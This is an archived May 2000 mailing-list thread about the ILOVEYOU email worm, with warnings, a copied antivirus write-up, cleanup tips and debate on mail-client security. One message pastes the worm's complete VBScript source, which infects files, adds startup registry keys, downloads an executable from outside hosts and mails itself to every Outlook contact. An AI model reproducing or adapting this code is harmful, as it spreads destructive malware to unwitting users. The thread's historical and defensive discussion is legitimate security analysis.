Subject: VIRUS WARNING

From: "Scot Mc Pherson" <[email-masked]>
Date: Thu, 4 May 2000 09:27:19 -0400

The is an e-mail virus going around. The subject of the e-mail is
ILOVEYOU...I suggest you delete it the moment you receive it.

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:[email-masked]
-http://www.clearaccess.net

---

From: "Scot Mc Pherson" <[email-masked]>
Date: Thu, 4 May 2000 10:34:37 -0400

The file subject: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs

DO NOT OPEN THE ATTACHMENT.

At this time very little is known about the virus. If you have opened the
file, please see your network administrator for help.

The following link to Symantec has info on what the file does to your
system.

http://www.symantec.com/avcenter/venc/data/vbs.loveletter.a.html

Since the webpage is too busy to access I am copying the text portions of
the webpage here

VBS.LoveLetter.A
This is an email worm, mIRC worm, and file infector.

Also known as:

Category: Worm

Infection length: 10307

Virus definitions: Pending

Threat assessment:

Damage:
High
Distribution:
High
Wildness:
High

Wild

Number of infections: More than 1000
Number of sites: More than 10
Geographic distribution: High
Threat containment: Moderate
Removal: Moderate

Damage Payload:

Large scale e-mailing: All the addresses in Microsoft Outlook address book
Degrades performance: May clog mail servers
Distribution

Subject of e-mail: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
Size of attachment: 10307
Technical description:

This is a preliminary writeup. The information contained within is to
provide as much information as possible at this time.

VBS.LoveLetter.A is an email worm, mIRC worm, and a file infector.
VBS.LoveLetter.A will use Microsoft Outlook and email itself out as an
attachment with the above subject line and attachment name. The body of the
message will be

kindly check the attached LOVELETTER coming from me.

The virus will also infect files with the following extensions: vbs, vbe,
js, jse, css, wsh, sct, hta, jpg, jpeg, mp3, and mp2

The virus will insert the following files:

MSKernel32.vbs in the Windows System directory

Win32DLL.vbs in the Windows directory

LOVE-LETTER-FOR-YOU.TXT.vbs in the Windows System directory

WinFAT32.EXE in the Internet download directory

WIN-BUGSFIX.EXE in the Internet download directory

script.ini in the mIRC directory

SARC recommends Administrators filter on the attachment name and Subject
line immediately.

This writeup will be verified and formalized within the hour.

Removal:

Delete found infected files.

Write-up by: Eric Chien
Updated: May 4, 2000
  Tell a Friend about this Write-Up

-----Original Message-----
From: Scot Mc Pherson [mailto:[email-masked]]
Sent: Thursday, May 04, 2000 9:27 AM
To: [email-masked]; [email-masked]
Subject: VIRUS WARNING

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst

---

From: "Donald E. Eastlake 3rd" <[email-masked]>
Date: Thu, 04 May 2000 10:48:12 -0400

The whole world does not run software which is a good culture medium
for email viruses.  I mostly use nice old UNIX software and it would
take a number of extra steps on my part for some embdedded virus to
get a chance to run.  If your software automatically executes stuff
in attachments, you need to change your software, not develope a list
of subject lines you are freightened of.

Donald

From:  "Scot Mc Pherson" <[email-masked]>
To:  <[email-masked]>, <[email-masked]>
Date:  Thu, 4 May 2000 09:27:19 -0400
Message-ID:  <[email-masked]>
Content-Type:  text/plain;
	      	charset="iso-8859-1"
Content-Transfer-Encoding:  7bit
X-MSMail-Priority:  Normal
X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
Importance:  Normal
In-Reply-To:  <[email-masked]>
Content-Transfer-Encoding:  7bit
X-Loop:  [email-masked]
Content-Transfer-Encoding:  7bit

---

From: [email-masked]
Date: Thu, 04 May 2000 10:46:33 -0400

> ILOVEYOU...I suggest you delete it the moment you receive it.

Somebody didn't read RFC2046, section 2, where it talks about text/plain
being *TEXT*, and application/* being *application data*.

So if your e-mail software is opening it and feeding it to Visual Basic
just because it's tagged .vbs even though it's a text/plain, you're
violating the RFCs.

I'm not pointing fingers, but.... ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech

---

From: A James Lewis <[email-masked]>
Date: Thu, 4 May 2000 16:03:18 +0100 (BST)

This is actually genuine for once... it's a vbscript..  

> -http://www.clearaccess.net

A. James Lewis ([email-masked])
- Linux is swift and powerful.  Beware its wrath...

---

From: "Scot Mc Pherson" <[email-masked]>
Date: Thu, 4 May 2000 11:11:50 -0400

Actually what happened, was I received this virus from a trusted friend who
just so happens would send an e-mail to me with that sort of "literary"
content to me as a joke. So as it happens it was a perfect trojan because it
slipped under my defenses by being something I would normally expect. My
software doesn't open attachments by default. Thus it was entirely my error.
I am just glad that I didn't have any e-mail lists in my "address book"

In fact to back up your statement, there are exactly 3 virii that infect
UNIX based systems.

Scot

-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:[email-masked]]
Sent: Thursday, May 04, 2000 10:48 AM
To: [email-masked]
Subject: Re: VIRUS WARNING

Donald

---

From: Magnus Danielson <[email-masked]>
Date: Thu, 04 May 2000 17:24:22 +0200

From: [email-masked]
Subject: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Date: Thu, 04 May 2000 10:46:33 -0400

> I'm not pointing fingers, but.... ;)

You are missing the point here, this is user friendliness, the user is allowed
to do whatever he/she wants, even in others equipment with others data. ;)

It does make box managment so much easier ;)

Cheers,
Magnus

---

From: "Michael H. Warfield" <[email-masked]>
Date: Thu, 4 May 2000 10:41:34 -0400

> I'm not pointing fingers, but.... ;)

	Your mailer may be able to display it as text (mine, Mutt, certainly
can) but it is definitely propagating as type application/octet-stream, not
text/plain.  Wish we could lay that one on them, but we can't.

	It's also now reported to be able to propagate across IRC.

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  [email-masked]
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!

---

From: Keith Moore <[email-masked]>
Date: Thu, 04 May 2000 11:57:49 -0400

> just because it's tagged .vbs even though it's a text/plain, you're

well there's nothing illegal about violating RFCs.

but it sure seems like the deliberate inclusion of a security hole in 
email software would be sufficient grounds for a class action lawsuit.

Keith

---

From: Keith Moore <[email-masked]>
Date: Thu, 04 May 2000 12:00:20 -0400

> Actually what happened, was I received this virus from a trusted friend 

but of course you didn't receive the virus from a trusted friend;
you received it from an impostor.

now you know not to trust names that appear in a message header.

Keith

---

From: "Scot Mc Pherson" <[email-masked]>
Date: Thu, 4 May 2000 12:25:36 -0400

In addition to what has been posted by me earlier and what has been reported
on Symantec's site, I have learned the following.

When the virus is contracted (DONOT shut down the computer or reboot) The
worm is designed to propagate fully during system startup.

It should be noted that you should do a file search based on all files
created or modified the day the worm was downloaded...NOTE that the
timestamp is irrelevent, I found files that were created at a time when the
computer was not turned on so the worm is able to create modify this info...

In the registry file all references to the five files listed on your website
should also be deleted (key and folder) You will find most of the references
within the keys that control the system tray and startup control (Not the
program folder)

The Worm also creates an href for IE startup page which downloads the virus
again...THis should be changed AFTER all the above has been accomplished

Thw Worm also creates an HTML page LOVE-LETTER-FOR-YOU.TXT.html on your
local drive which contains ActiveX scripts which redistributes the worm..
Delete this file.

This worm seems to be a sort of application that creates the other files for
some sort of source code that utilizes applicaitons already installed on the
local drive to rewrite the worm into various forms.

I believe I have wiped out the virus, but I will keep checking...One method
of checking this status is the look at the mail que of your mail server and
look for e-mail without controls.

I have received an e-mail from someone else saying these additinal sites
with information regarding ILOVEYOU, I have yet to visit them.

http://www.securityfocus.com
http://www.datafellows.com/v-descs/love.htm

-----Original Message-----
From: Scot Mc Pherson [mailto:[email-masked]]
Sent: Thursday, May 04, 2000 10:35 AM
To: [email-masked]; [email-masked]; Brian Duddy (E-mail);
Kevin Speilman (E-mail); Michael F. Young (E-mail); Perry Lewis
(E-mail); Robert E Sollmann (E-mail); Roger Shepheard (E-mail)
Subject: RE: VIRUS WARNING

VBS.LoveLetter.A

Also known as:

Category: Worm

Infection length: 10307

Threat assessment:

Damage:
High
Distribution:
High
Wildness:
High

Wild

Damage Payload:

Removal:

Write-up by: Eric Chien
Updated: May 4, 2000

-----Original Message-----
From: Scot Mc Pherson [mailto:[email-masked]]
Sent: Thursday, May 04, 2000 9:27 AM
To: [email-masked]; [email-masked]
Subject: VIRUS WARNING

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst

---

From: [email-masked]
Date: Thu, 04 May 2000 14:06:09 -0400

> text/plain.  Wish we could lay that one on them, but we can't.

Mea Culpa - seems *MY* MUA decided to be naughty and flag it as a
text/plain, so I reported it as such.  I'll shut up now while I
go and beat said MUA into submission and make it not lie to me anymore.

Yes, the data as it was actually stored in the message store was an
application/octet-stream.  However, that's not much better, security-wise.
(Although at least with an "application/foobar", you know that it's designed
for application foobar, and can appropriately sandbox your foobar-viewer).

---

From: "Theodore Y. Ts'o" <[email-masked]>
Date: Thu, 4 May 2000 14:30:23 -0400

Date: Thu, 04 May 2000 10:48:12 -0400
   From: "Donald E. Eastlake 3rd" <[email-masked]>

You need to get with program!  Having software which is a good culture
medium for e-mail virus is part of the innovative new features which
customers are demanding.  Clearly, you need report to re-education camps
to learn why it's important to let the government let companies have to
freedom to innovate wonderful things like vbscript.  :-)

							- Ted

---

From: Keith Moore <[email-masked]>
Date: Thu, 04 May 2000 15:27:01 -0400

>  Clearly, you need report to re-education camps

not to mention gratuitous incompatibilites to Kerberos.

Keith

---

From: Jon Crowcroft <[email-masked]>
Date: Thu, 04 May 2000 22:28:18 +0100

"noone ever got fired for buying ibm"

this was ironic coz ibm was expensive, but worked 

someone should get fired for buying someone elses prodiucts
 irony

no class action

just reality checkpoint time...

for a systemic view, 
some stuff is engineered better than other stuff - see mark handly's
excellent letter to the new york times, post melissa

the best reason for diversity is not anti-capitalist, its darwinian.

meanwhile, eres some visaual basic.

j.

============cut here and paste to yor favourite waste disposal===
 filename="LOVE-LETTER-FOR-YOU.TXT"

rem  barok -loveletter(vbe) <i hate go to school>
rem 			by: spyder  /  [email-masked]  /  @GRAMMERSoft Group  /  
Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
On Error Resume Next
Dim num,downread
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSK
ernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServ
ices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet 
Explorer\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw65
87345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546
786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOh
fgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start 
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUg
qwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN
-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start 
Page","about:blank"
end if
end sub
sub listadriv
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
sub infectfiles(folderspec)  
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") 
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") 
or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if 
mIRC will"
scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run 
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HT
M"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next  
end sub
sub folderlist(folderspec)  
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)  
set sf = f.SubFolders
for each f1 in sf
infectfiles(f1.path)
folderlist(f1.path)
next  
end sub
sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
function fileexist(filespec)
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWOR
D"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries
.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries
.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ 
CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email-masked] ?-? 
@GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>
"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@[email-masked]=#-#main#-#;window.open(#-#LOVE-LETTER
-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@[email-masked]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,
#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this 
HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>
----------z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.m
oveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@[email-masked]@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@[email-masked]@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Curr
entVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub

---

From: Keith Moore <[email-masked]>
Date: Thu, 04 May 2000 20:39:43 -0400

> no class action

perhaps that's not the appropriate mechanism, or perhaps that remedy isn't
available to a large number of those affected.

but sooner or later folks are going to be held liable for poor engineering
or poor implementation of networking software, just like folks today can be 
held liable for poor engineering or implementation of bridges or buildings.  

when people who design such programs know about these risks, are aware of
adequate countermeasures (e.g. don't make executable content "clickable",
or execute it only in a sandbox), and yet take no action to ameliorate 
the risks... how far is that from negligence?

Keith

---

From: [email-masked]
Date: Thu, 04 May 2000 23:04:24 -0400

> held liable for poor engineering or implementation of bridges or buildings.  

Not if the UCITA becomes legal.  Large immoral software vendors can
then ship software shrink-wrapped with a "if you break the seal
you agree to the license inside", and the license inside prohibits
you from reverse-engineering, publicising, or discussing bugs.

I kid you not.  Sometimes I wish the Virginia state constitution
was amended so a governor can suceed himself - currently, they're
only in for one consecutive term, so they tend to do splashy-but-longterm
bad things to use it as a springboard for a Congressional campaign...

At least the guys in Richmond had the sense to put a one-year study
period in before it becomes the law...  

				Valdis Kletnieks

---

From: [email-masked]
Date: Thu, 04 May 2000 23:13:03 -0400

> In fact to back up your statement, there are exactly 3 virii that infect

Hmm.. the Morris worm of 1988.  What are the other 2?

Hmm.. if you count the 2 self-reproducing sample programs that
came with 'gcc', no others.  Or maybe there's more than 3, which
is likely since I've seen at least 4 different "proof of concept"
level creations...

				Valdis Kletnieks

---

From: George Michaelson <[email-masked]>
Date: Fri, 05 May 2000 13:48:33 +1000

Piers Dick Lauder and Bob Kummerfeld implemented Mail/sendfile *@*
(yes, wildcards both sides of the user@host name form) in ACSnet prior
to this. It was designed to be used amongst other things, to do s/w updates
to all ACSnet subscribers. And it worked over IP as well as an applications
layer over TCP/IP, gated into sendmail.

The one time I saw them use it, it killed my sendmail by n->n*m explosion
of outbound mails. And as soon as I deleted one from mqueue, another 20
came in.

Mike Lesk claimed UUCP was invented for similar reasons and I seem to recall
some more than proof of concept uux methods to re-create forwarding data but
thats probably never been exploited in an IP network.

Then there are the checkgroups message flows in News...

cheers
	-George  
--
George Michaelson         |  DSTC Pty Ltd
Email: [email-masked]    |  University of Qld 4072
Phone: +61 7 3365 4310    |  Australia
  Fax: +61 7 3365 4311    |  http://www.dstc.edu.au

---

From: "Michael H. Warfield" <[email-masked]>
Date: Fri, 5 May 2000 07:53:35 -0400

> Hmm.. the Morris worm of 1988.  What are the other 2?

	Bliss?  Wasn't very sophisticated and it didn't propagate very
well, but it did work.  It just fizzeled out because it's propagation
coefficient never even came close to break even.

	What's the other one?

> is likely since I've seen at least 4 different "proof of concept"

	I've seen some assembly code someone was proposing on one of the
development lists.  One of the DOS virus writers claiming that it would
work as a Linux virus.  No evidence that it does anything though.  I
would marginally call that one a "proof of concept" or a "maybe of
concept".

	Mike

---

From: Lloyd Wood <[email-masked]>
Date: Fri, 5 May 2000 14:45:49 +0100 (BST)

> excellent letter to the new york times, post melissa

Handl*e*y. Jon's referring to what was sent, not what bits scraped
through, ah, peer review. As detailed on

http://www.aciri.org/mjh/

L.

references R us.

<[email-masked]>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>

---

From: Randall Stewart <[email-masked]>
Date: Fri, 05 May 2000 20:04:33 +0000

Michael:

I could not agree more, we have a few (possibly .. 3) virus that have
infect *nix systems. Even more telling, look at how linux systems
have NOT been infected or bothered much. I find this interesting
since the code - bugs, wart, and any holes are available to any
who want to look at it...

Now if I take and switch the machine I am typing on over to
that "other" o/s the virus scanner it has lists 100's and I 
mean 100's of viruses...

I do understand that some of us are STUCK with that other
O/S... but there are options.. I too am in theory using it.. but
only when I have to... I do all my real work on the linux side and
only occasionaly fire up the other side to read a awful .doc or .ppt
file...

I simply refuse to allow our IT dept to have there way with me and
infect me with the worst virus... that other O/S :-)

R

-- 
Randall R. Stewart
Member Technical Staff
Network Architecture and Technology (NAT)
847-632-7438 fax:847-632-6733

---

From: Keith Moore <[email-masked]>
Date: Fri, 05 May 2000 17:59:33 -0400

it might be useful to further examine the differences between UNIX-like
systems (including Linux) and Windows systems regarding their 
susceptibility to viruses.  

1. it should first be noted that UNIX-like systems are not immune to 
worms or viruses.  the Morris worm propagated itself via buffer
overflow bugs in sendmail and finger, and similar vulnerabilities are
probably still available to a would-be attacker.  over the years many 
more security holes like these have been found in UNIX systems and 
exploited.  we'll keep seeing such holes as long as people write 
servers in C.  but for some reason such attacks tend not to be viruses,
we just haven't seen many worms/viruses use these techniques since the 
Morris worm.

2. the Morris worm worked with both vax and sun3 platforms presumably
because these were the most  popular platforms then in use on the 
Internet.  today most viruses target Windows boxes presumably because
they are so popular.

3. the attacks that have been successful against UNIX tend to be specific 
to a particular platform - its CPU instruction set, memory layout,
system traps, and library routines.  Windows boxes are also vulnerable 
to hardware-specific attacks, but they also support things like vbscript.  
so there are multiple languages by which one can attack a windows box, 
and many of those are commonly bundled with Windows.  so in addition
to windows being more popular, in some ways you it has a more 
predictable target environment (i.e. a given windows box is likely to
have more facilities you can exploit than a UNIX box) this makes Windows 
a more predictable platform for software developers, but virus writers 
are software developers too.

4. email-borne viruses have somewhat greater ability to penetrate 
private networks because email tends to not be filtered by firewalls
(and even firewalls that scan for viruses generally are limited to
scanning for known viruses)

UNIX-based email clients are less vulnerable than their Windows
counterparts because

a) UNIX-like systems do not come with an extensive registry of content-type 
   -to- program mappings.  nor, in general, do mail readers for these 
   platforms.  so if a mail reader receives an object with an unusual 
   content-type it is unlikely to know what to do with it (other than 
   to offer to save it to a file)

b) UNIX based mail readers tend to rely on the MIME content-type
   label and are less likely than Windows readers to "guess" how to
   handle a file based on the file name suffix.   MIME content-type
   registrations are required to contain a security considerations 
   section.  it may be that as a result, the content-type registry 
   on a UNIX system is less likely to contain definitions for 
   dangerous objects, than on a windows system...and therefore
   UNIX mail readers are less likely to try to interpret such things.

c) UNIX systems have fewer interpreters for content-types that
   can cause harmful side-effects, and such as do exist (such
   as PostScript) are more likely to be invoked in a "safe" mode.  

   script attacks are certainly possible on UNIX - most UNIX systems
   support script languages with destructive power similar to vbscript.
   but it is very unlikely that a UNIX mail reader would be configured
   to, say, automatically execute a perl script received in mail.

d) UNIX has not traditionally had a point-and-click interface,
   so the notion that there is some action implicitly associated
   with a file type, so common in the Windows and Mac worlds,
   does not hold for UNIX.  Indeed, UNIX has much the opposite
   notion - that arbitrary tools can be applied to arbitrary files.

5. unlike many Windows-ish boxes, UNIX is a multi user operating
   system with file protections.  thus there is a layer of isolation 
   between user processes and the operating system, which limits the 
   degree of damage that is likely to happen.  to be sure, a lot of 
   harm can be done by trashing or altering a single user's files, 
   and there may are often security holes which can be exploited 
   to elevate an ordinary user's privileges.  but this is still an 
   additional barrier that must be overcome.  Windows is an easier
   target.

6. there is a great deal more history with security exploits,
   and thus with countermeasures, on UNIX-like systems.

   there seems to be greater awareness of the potential for harm
   among the UNIX community than among Windows developers.
   this may be because UNIX is primarily used by computer experts.

conclusion:

to some degree Windows is inherently more vulnerable because it
is a more popular platform.  however it should be possible to make 
Windows much less vulnerable than it currently is merely by a few 
countermeasures.

- don't automatically evaluate content unless it is KNOWN to be safe
  from harmful side-effects.  either that or evaluate the content
  only within a sandbox which prevents such harm.  (this means
  that you limit the content that you're willing to automatically
  evaluate to a few well-understood types)

- don't offer to execute content that can cause harm unless 
  (a) the recipient okays it, (b) the sender's identity is
   known and the integrity of the file can be assured
  (via verifiable digital signatures), and (c) the recipient
  is warned *each time* that the content can cause harm.

Keith

---

From: Brant Knudson <[email-masked]>
Date: Sat, 06 May 2000 00:38:29 +0000

I think I'm starting to see a pattern emerging in email viruses.

Melissa:  Uses script to read user's address book to get the email
addresses of new victims.
ILOVEYOU: Uses script to read user's address book to get the email
addresses of new victims.

What method do you think the next email virus is going to use if
